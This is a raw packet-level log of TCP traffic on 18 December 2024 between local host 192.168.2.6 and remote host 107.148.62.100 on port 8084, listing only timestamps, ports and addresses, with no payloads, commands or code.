Dec 18, 2024 13:36:13.632671118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.633151054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.633217096 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.635797977 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.636034966 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.636089087 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.636392117 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.637985945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.638250113 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.638328075 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.638709068 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.639338970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.640794039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.641133070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.641340017 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.641746998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.643003941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.643053055 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.643158913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.643654108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.643695116 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.646018982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.646228075 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.646306038 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.647149086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.647162914 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.647217035 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.647629976 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.649478912 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.649522066 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.649610996 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.650302887 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.650337934 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.651643038 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.651931047 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.652048111 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.652436018 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.654242039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.654289961 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.654436111 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.655083895 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.655524969 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.656768084 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.656853914 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.656893969 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.657293081 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.659157991 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.659533024 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.659583092 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.659949064 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.661607981 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.661659002 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.661819935 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.661853075 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.662950993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.663151979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.663203955 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.663719893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.679208040 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.679477930 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.679589033 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.679919004 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.680461884 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.680521965 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.680733919 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.681363106 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.681413889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.731009007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.731065989 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.731333017 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.732002020 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.732054949 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.813966036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.814263105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.814337015 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.814610958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.816646099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.816987991 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.817053080 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.817560911 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.818015099 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.819665909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.819921970 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.819976091 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.820424080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.821952105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.822084904 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.822134018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.822511911 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.824141026 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.824201107 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.824373960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.824417114 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.824750900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.827519894 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.827855110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.827914953 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.828447104 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.829768896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.829827070 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.830070972 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.830318928 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.830360889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.832427025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.832473993 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.832705975 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.833205938 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.833255053 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.834358931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.834628105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.834671021 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.835047960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.836934090 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.836985111 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.837146997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.837596893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.837632895 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.840398073 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.840632915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.840692043 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.841099977 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.841449976 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.841715097 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.841758966 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.841960907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.842595100 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.842634916 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.844655037 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.844919920 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.844966888 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.845370054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.845407963 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.847255945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.847785950 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.847841978 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.848193884 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.849931955 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.850122929 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.850167990 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.850486994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.852686882 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.852737904 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.852893114 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.852926970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.853493929 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.855139017 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.855362892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.855406046 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.855835915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.857278109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.857326031 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.857520103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.857548952 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.858114004 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.859544992 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.859587908 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.859765053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.860457897 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.860503912 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.861953020 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.862205029 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.862247944 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.862849951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.864521027 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.864564896 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.864759922 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.865221024 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.865257978 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.867137909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.867372036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.867418051 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.867736101 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.869901896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.869930983 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.869971991 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.870541096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.872196913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.872245073 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.872438908 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.873039961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.873078108 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.874535084 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.874586105 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.874809027 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.875250101 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.875284910 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.876991034 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.877244949 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.877290010 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.877830982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.879528999 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.879561901 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.879746914 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.880078077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.880110979 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.881827116 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.882246017 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.882282972 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.882508993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.896075964 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.896320105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.896390915 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.896876097 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.897613049 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.897696018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.897870064 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.898355961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.898402929 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.948069096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.948115110 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.948523045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.948745966 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.948806047 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.031151056 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.031328917 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.031423092 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.031800985 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.033555984 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.033617020 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.033940077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.034279108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.034320116 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.036902905 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.037062883 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.037444115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.037487030 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.038836002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.039254904 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.039299011 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.039585114 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.041332960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.041397095 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.041573048 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.041889906 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.042001009 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.044099092 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.044162035 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.044327974 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.044811010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.044851065 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.046762943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.046988964 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.047039032 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.047271013 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.050254107 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.050494909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.050539017 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.051156044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.051292896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.051348925 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.051733971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.051780939 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.052287102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.053122997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.053160906 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.053421974 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.053947926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.053985119 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.055285931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.055635929 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.055684090 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.056075096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.058208942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.058434010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.058464050 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.058828115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.058866978 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.060411930 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.060739994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.060842037 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.061167002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.063000917 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.063045025 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.063237906 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.063656092 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.065185070 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.065614939 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.065875053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.066008091 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.066325903 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.067765951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.067816973 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.067961931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.068444014 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.068603039 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.070522070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.070771933 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.071134090 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.071217060 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.073179960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.073380947 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.073410034 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.073806047 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.073868036 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.075371027 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.075642109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.076085091 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.076127052 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.078062057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.078521967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.078572989 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.079127073 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.081065893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.081129074 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.081263065 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.081304073 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.082425117 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.082683086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.082720041 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.083184004 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.084310055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.084358931 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.084527969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.085005045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.085043907 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.086704016 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.086870909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.086918116 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.087116957 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.088937998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.089066029 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.089093924 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.089478016 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.089517117 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.091437101 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.091728926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.091779947 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.092163086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.093907118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.093960047 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.094120026 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.094588041 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.094629049 CET	49844	8084	192.168.2.6	107.148.62.100
